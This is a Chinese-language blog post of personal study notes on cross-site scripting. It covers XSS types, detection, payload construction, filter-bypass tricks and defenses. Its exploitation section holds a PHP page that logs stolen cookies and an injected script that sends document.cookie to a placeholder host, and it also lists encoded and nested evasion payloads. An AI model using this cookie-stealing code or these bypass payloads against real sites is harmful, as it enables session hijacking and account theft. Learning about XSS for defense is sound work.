XSS学习


title: XSS学习
date: 2016-04-03 20:35:43
categories: 安全
tags: [Web安全,XSS]

一、XSS原理

xss即 跨站脚本攻击(Cross Site Scripting),是指攻击者在页面中插入恶意的Script脚本,当用户浏览页面时,插入其中的Script脚本会被执行,从而达到攻击的目的。
例如:

<?php
$name = $_GET['name'];
echo "Welcome".$name;
?>

在此页面中,当我们输入<script>alert('xss')</script>,就会弹出xss警告框。这只是最简单的应用,理论上javascript可以做的事,xss都可以达到。
所以XSS可以用来获取用户的cookie,挂马,蠕虫等等

二、XSS分类

XSS分为3类

反射型XSS

反射型XSS,即把恶意构造的数据’反射’给浏览器,由浏览器解析后造成漏洞,需要用户浏览带有XSS代码的url才可以攻击成功。也称为非持久性XSS。
如先前的例子中所示,构造一个链接 http://xxx.com/index.html?<script>alert('xss')</script>发送给被攻击对象,当用户点击此链接时就会被攻击。

持久型XSS

存储型XSS也被称为持久型XSS,当攻击者输入一段恶意脚本后,被服务端接受保存,当用户访问这个页面时,恶意脚本就会被执行,从而造成漏洞。下次不用再输入XSS代码,持久型XSS比较隐蔽,不需要刻意触发。

DOM XSS

DOM即文档对象模型(Document Object Model),DOM可以通过JavaScript,重构整个 HTML 文档。
通过修改页面的DOM节点形成的XSS,称之为DOM XSS。
例如:

var index=document.URL.indexOf("xss=")+4;
document.write(decodeURI(document.URL.substring(index)))

document.URL.indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。+4是略去’xss=’
document.URL是获取URL地址。
Substring() 方法用于提取字符串中介于两个指定下标之间的字符,在此处即提取’xss='后面的内容。
decodeURI函数可对编码过的 URI 进行解码

当点击链接http://xxx.com/index.html?xss=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E之时,就会产生弹出XSS。

三、XSS攻击

1.XSS检测

(1)、手工检测

尝试输入 < > " ' ()等,查看源代码是否被转义,如果没有被转义,则有可能会有漏洞。总之,就是查看输入特殊字符有没有过滤。
不知道输出在何处时,就需要不断测试了
普通注入:<script>alert('xss')</script>
闭合标签注入:/><script>alert('xss')</script>
闭合标签注入:</textarea><script>alert('xss')</script>

(2)、工具检测

绝大多数综合扫描工具都可以检测XSS漏洞,如AWVS,APPSCAN,Netsparker等等,也可以使用专业的XSS扫描工具。如XSSER,XSSF等。
xsser参考 http://blog.csdn.net/ronghua_liu/article/details/6148951
xssf参考 http://my.oschina.net/u/1188877/blog/282206?fromerr=w7ynQiSF
此外还有fuzz测试。Fuzz Testing(模糊测试)是一种测试方法,即构造一系列无规则的“坏”数据插入应用程序,判断程序是否出现异常,以发现潜在的bug。
参考https://security.tencent.com/index.php/blog/msg/28
http://www.z7ys.com/31002.html

2.XSS利用

利用javascipt可以读取当前cookie。输入<script>alert(document.cookie)</script>会弹出cookie
如何获取用户cookie。参考http://www.2cto.com/Article/201302/190742.html
简单的构造如下:
首先创建接受页面:

<?php
$cookie = $_GET['msg'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

将其保存为xss.php
然后在XSS漏洞处插入
<script>document.location="http://xxx.com/xss.php?msg="+document.cookie;</script>
其中xxx.com为你的接受地址。
获取cookie也可以使用一些xss平台。如XSS platform。http://www.webxss.cn/ 是一个免费的XSS平台。
其中有很多模块,非常方便,如图。

搭建过程参考http://www.2cto.com/Article/201308/239747.html
此外XSS也可以用来钓鱼,蠕虫攻击等。

3.XSS构造

利用img标签
<img scr=1 onerror=alert('xss')>
利用链接
<a href=javascrip:alert('xss')>s</a>
利用iframe变迁
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
利用iframe的scr来弹窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
绕过技巧
改变大小写,如 <sCRipt>alert('xss')</sCRipt>
嵌套使用 <scr<script>ipt>alert(1)</scr<script>ipt>
还可以利用编码进行绕过,如
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
关于编码和绕过的更多内容,参考:
http://drops.wooyun.org/tips/689
http://drops.wooyun.org/tips/845

四、XSS防御

1、http-only

http-only并不能防御xss,但可以保护用户cookie。
cookie格式
Set-Cookie: NAME=VALUE;Domain=DOMAIN_NAME;Path=PATH;Expires=DATE;HttpOnly;SECURE
当设置了http-only时,客户端脚本就无法读写cookie。

2、输入过滤

1.可以设置黑名单的方式,如过滤< > " ' & 等特殊字符。过滤<script>,javascrip等字符。
2.也可以使用php中htmlspecialchars() ,htmlentities()函数把预定义的字符转换为 HTML 实体。 javascript的编码方式可以使用 javascripEncode
3.也可以使用OWASP ESAPI,JSOUP进行防御,不需要自己再去实现。

** 参考 **



感觉同SQL注入一样,学习的过程中,发现XSS的内容还是很多,有点驾驭不住,只能记录一些基础的知识。关于编码和绕过那一块,还是有些没看明白。需要比较好的js能力。另外还有各种标签中的输入,浏览器的差异。比如我在测试过程中发现,在chrome浏览器中打开xss链接就无法成功,但是在firefox中就可以,应该是chrome做了防御。还有dom xss的内容,也只是了解了大概。
再看了一下XSS挑战赛writeup http://drops.wooyun.org/tips/3059 ,顿时感觉不好了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值